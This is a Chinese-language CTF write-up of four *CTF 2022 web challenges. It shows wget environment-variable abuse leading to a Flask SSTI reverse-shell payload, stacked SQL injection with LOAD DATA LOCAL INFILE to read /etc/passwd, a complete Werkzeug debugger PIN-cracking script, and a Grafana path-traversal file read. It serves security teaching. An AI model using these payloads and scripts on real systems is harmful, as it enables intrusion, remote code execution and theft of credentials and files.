2022-CTF-Web

admin 2024年10月29日00:03:24评论14 views字数 7403阅读24分40秒阅读模式

2022*CTF-Web

写在前面

XCTF国际赛系列一直不错,周末参与了下这次比赛,虽然没有Java但总体还是蛮有意思

这里没按题目顺序写,只是写了在我心中从上到下的排序,对有源码的题目做了备份

oh-my-lotto

​ 链接: https://pan.baidu.com/s/1G53aYqIIbHGlowdWFhkKqw 提取码: oism

oh-my-lotto

心目中比较有趣的一题呗,重生之我是赌神

这是一个非预期,因为后面又上了个revenge,简单分析下题目,先看看docker内容,可以知道大概的结构

12345678910111213141516171819
version: "3" services:  lotto:    build:      context: lotto/      dockerfile: Dockerfile    container_name: "lotto"  app:      build:      context: app/      dockerfile: Dockerfile    links:      - lotto    container_name: "app"    ports:      - "8880:8080"

之后看看代码,这里面有三个路由,从短到长

首先result路由返回/app/lotto_result.txt文件内容结果

123456789
@app.route("/result", methods=['GET'])def result():    if os.path.exists("/app/lotto_result.txt"):        lotto_result = open("/app/lotto_result.txt", 'rb').read().decode()    else:        lotto_result = ''    return render_template('result.html', message=lotto_result)

forecast路由可以上传一个文件保存到/app/guess/forecast.txt

1234567891011121314
@app.route("/forecast", methods=['GET', 'POST'])def forecast():    message = ''    if request.method == 'GET':        return render_template('forecast.html')    elif request.method == 'POST':        if 'file' not in request.files:            message = 'Where is your forecast?'        file = request.files['file']        file.save('/app/guess/forecast.txt')        message = "OK, I get your forecast. Let's Lotto!"        return render_template('forecast.html', message=message)

还有最关键的lotto路由(代码太多就不放完了),可以

1
os.system('wget --content-disposition -N lotto')

如果预测的值与环境随机生成的相等就能获得flag

12345678910111213141516171819202122232425262728
@app.route("/lotto", methods=['GET', 'POST'])def lotto():    elif request.method == 'POST':      //看到flag从环境变量当中取出        flag = os.getenv('flag')        lotto_key = request.form.get('lotto_key') or ''        lotto_value = request.form.get('lotto_value') or ''        lotto_key = lotto_key.upper()        if safe_check(lotto_key):            os.environ[lotto_key] = lotto_value            try:              //从内网http://lotto当中获得随机值                os.system('wget --content-disposition -N lotto')                if os.path.exists("/app/lotto_result.txt"):                    lotto_result = open("/app/lotto_result.txt", 'rb').read()                else:                    lotto_result = 'result'                if os.path.exists("/app/guess/forecast.txt"):                    forecast = open("/app/guess/forecast.txt", 'rb').read()                else:                    forecast = 'forecast'                if forecast == lotto_result:                    return flag

其中内网的lotto页面可以看到就是随机生成20个40以内随机数并返回

123456789101112131415
@app.route("/")def index():    lotto = []    for i in range(1, 20):        n = str(secrets.randbelow(40))        lotto.append(n)    r = '\n'.join(lotto)    response = make_response(r)    response.headers['Content-Type'] = 'text/plain'    response.headers['Content-Disposition'] = 'attachment; filename=lotto_result.txt'    return responseif __name__ == "__main__":    app.run(debug=True, host='0.0.0.0', port=80)

同时对于我们能控制的环境变量也有过滤safe_check,那像p牛之前提到的直接RCE就不行了

1234
def safe_check(s):    if 'LD' in s or 'HTTP' in s or 'BASH' in s or 'ENV' in s or 'PROXY' in s or 'PS' in s:         return False    return True

既然题目要求如果预测成功就返回给我flag,那有啥办法能控制吗,这里就用到了PATH

PATH变量就是用于保存可以搜索的目录路径,如果待运行的程序不在当前目录,操作系统便可以去依次搜索PATH变量变量中记录的目录,如果在这些目录中找到待运行的程序,操作系统便可以直接运行,前提是有执行权限

那这样就比较简单了,如果我们控制环境变量PATH,让他找不到wget,这样wget --content-disposition -N lotto就会报错导致程序终止,/app/lotto_result.txt当中的内容就一直是第一次访问,随机生成的那个值了

  1. 访问/lotto获得第一次的结果

  2. 访问result页面记录内容下来备用

2022-CTF-Web

  1. 修改环境变量PATH后,发送预测值,再次访问/lotto即可

可以看到确实得到了flag,其中res.txt是第一次环境随机生成的结果

2022-CTF-Web

oh-my-lotto-revenge

做了一个修正,就算预测成功也没有结果返回,那就考虑如何rce了

12345
if forecast == lotto_result:  return "You are right!But where is flag?"else:  message = 'Sorry forecast failed, maybe lucky next time!'  return render_template('lotto.html', message=message)

先读文档https://www.gnu.org/software/wget/manual/wget.html

2022-CTF-Web

发现有一个WGETRC,如果我们能够控制环境变量就可以操纵wget的参数了,这里有很多有意思的变量

2022-CTF-Web

这里说两个我解决这个问题用到的,一个是http_proxy,很明显如果配置了这个,本来是直接wget访问http://lotto的就会先到我们这里做一个转发,我们就可以当一个中间人

12
http_proxy = stringUse string as HTTP proxy, instead of the one specified in environment.

做个实验,此时再wget以后,成功接收到这个请求

2022-CTF-Web

因此我们只需要控制返回内容即可,那既然可以控制内容了,那能否控制目录呢,正好有output_document,相当于-O参数

12
output_document = fileSet the output filename—the same as ‘-O file’.

那么我覆盖index.html打SSTI即可

2022-CTF-Web

因此得到payload,写入内容为

12
http_proxy=http://xxxxxoutput_document = templates/index.html

控制返回内容为

1
{{config.__class__.__init__.__globals__['os'].popen('反弹shell').read()}}
1234567891011121314151617181920
import requestsdef web():    url = "http://xxx/"    r = requests.post(url + "forecast",                      files={'file': open("/Users/y4tacker/PycharmProjects/pythonProject/lottt/y4.txt", "rb")})    data = {        "lotto_key": "WGETRC",        "lotto_value": "/app/guess/forecast.txt"    }    r = requests.post(url + "lotto", data=data)    print(r.text)if __name__ == '__main__':    web()

2022-CTF-Web

oh-my-notepro

好吧又是黑盒,烦死了

登录后,只有一个创建note的功能点,先是测试了下各种SSTI的payload没啥反应,之后猜测是不是要获取到admin的noteid,首先看到这种又臭又长0pn2jtgnfer9zaijadymsmq347eqmay3的字符肯定是不能爆破,尝试sql注入,经典单引号报错

2022-CTF-Web

尝试回显有五列,但是payload这么简单,毕竟是XCTF肯定不可能sql注入就能从数据库拖出flag(大概率无过滤是不可能这么简单的),当然也确实验证了没有flag,甚至没有admin用户

2022-CTF-Web

接下来尝试load_file读文件也不行,后面想去看看一些配置信息,一般我们通过类似show variables like xxx这样去读,但是其实也可以直接通过sql语句拿到global当中的信息

1
select @@global.secure_file_priv

好吧真拿你没办法洛

2022-CTF-Web

后面发现local_infile开了,不知道这是啥可以看看CSS-T | Mysql Client 任意文件读取攻击链拓展

2022-CTF-Web

那么要利用肯定常规的注入不行,只有一个东西能满足,那就是堆叠注入,简单验证下

1
http://123.60.72.85:5002/view?note_id=0' union select 1,2,3,4,5;select sleep(2)--+

页面确实有延时那验证了我们的猜想,接下来读文件

1
http://123.60.72.85:5002/view?note_id=0' union select 1,2,3,4,5; create table y4(t text); load data local infile '/etc/passwd' INTO TABLE y4 LINES TERMINATED BY '\n'--+

果然可以bro

2022-CTF-Web

那么想要rce只剩一个方法咯,都有报错页面了,算算pin呗

需要:

1.flask所登录的用户名

2.modname-一般固定为flask.app

3.getattr(app, “name”, app.class.name) - 固定,一般为Flask

4.在flask库下app.py的绝对路径,通过报错泄漏

5.当前网络的mac地址的十进制数

6.docker机器id

2022-CTF-Web

网上直接抄了一个发现不对,简单看了flask生成pin码的地方,在python3.8/site-packages/werkzeug/debug/__init__.py#get_pin_and_cookie_name

发现python3.8以后从原来的md5改成了sha1

2022-CTF-Web

那简单写个利用脚本就好了呗

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960
import requestsimport reimport hashlibfrom itertools import chainurl = "http://124.70.185.87:5002/view?note_id="payload1 = "0' union select 1,2,3,4,5; create table y4(t text); load data local infile '/sys/class/net/eth0/address' INTO TABLE y4 LINES TERMINATED BY '\\n'--+"payload2 = "0' union select 1,2,3,4,5; create table yy4(t text); load data local infile '/proc/self/cgroup' INTO TABLE yy4 LINES TERMINATED BY '\\n'--+"payload3 = "0' union select 1,2,3,(select group_concat(t) from y4),1; --+"payload4 = "0' union select 1,2,3,(select group_concat(t) from yy4),1; --+"headers = {    "cookie":"session=.eJwVi0EKwyAQAL8ie8mlEE3ArP1MWXdXCE21REsJpX-POcxlhvkB1z09WnlqhjvMkwvKHBktRmfD5J1NKj5EXBDZeppVAi5wg0_VPdNL-7UVEiPUyKw5rZuaYdTG45tq_crQZSumUezhOKRewP8E760nRw.YlqN-g.KZrp8S7tsXPS60cPH88awzRI35Q"}r = requests.get(url+payload1,headers=headers)r = requests.get(url+payload2,headers=headers)probably_public_bits = [    'ctf'# /etc/passwd    'flask.app',# 默认值    'Flask',# 默认值    '/usr/local/lib/python3.8/site-packages/flask/app.py' # 报错得到]private_bits = [    str(int(re.search('</h1><pstyle="text-align:center">(.*?)</p></ul>',requests.get(url+payload3,headers=headers).text.replace("\n", "").replace(" ","")).groups()[0].replace(':',''),16)),#  /sys/class/net/eth0/address 16进制转10进制    '1cc402dd0e11d5ae18db04a6de87223d'+re.search('</h1><pstyle="text-align:center">(.*?)</p></ul></body></body></html>',requests.get(url+payload4,headers=headers).text.replace("\n", "").replace(" ","")).groups()[0].split(",")[0].split("/")[-1]#  /etc/machine-id + /proc/self/cgroup]h = hashlib.sha1()for bit in chain(probably_public_bits, private_bits):    if not bit:        continue    if isinstance(bit, str):        bit = bit.encode('utf-8')    h.update(bit)h.update(b'cookiesalt')cookie_name = '__wzd' + h.hexdigest()[:20]num = Noneif num is None:    h.update(b'pinsalt')    num = ('%09d' % int(h.hexdigest(), 16))[:9]rv =Noneif rv is None:    for group_size in 5, 4, 3:        if len(num) % group_size == 0:            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')                          for x in range(0, len(num), group_size))            break    else:        rv = numprint(rv)

oh-my-grafana

之前被爆有任意文件读,不知道有啥插件简单fuzz一下得到

1
/public/plugins/alertGroups/../../../../../../../../etc/passwd

大概看了下文档看看能读些什么配置

2022-CTF-Web

先是读了sqlite,dump下来想看看admin密码来着,尝试很多没破解成功,显然是我不懂密码学

不过后面看到了grafana.ini,里面泄漏了,好吧还成功登陆了

2022-CTF-Web

后台啥都无,不过有个添加数据源的地方,显然这里被注释了,但是真的链接成功了

2022-CTF-Web

后面就是任意执行sql语句拿下了,没啥难度

- source:y4tacker

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月29日00:03:24
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   2022-CTF-Webhttps://cn-sec.com/archives/3314916.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息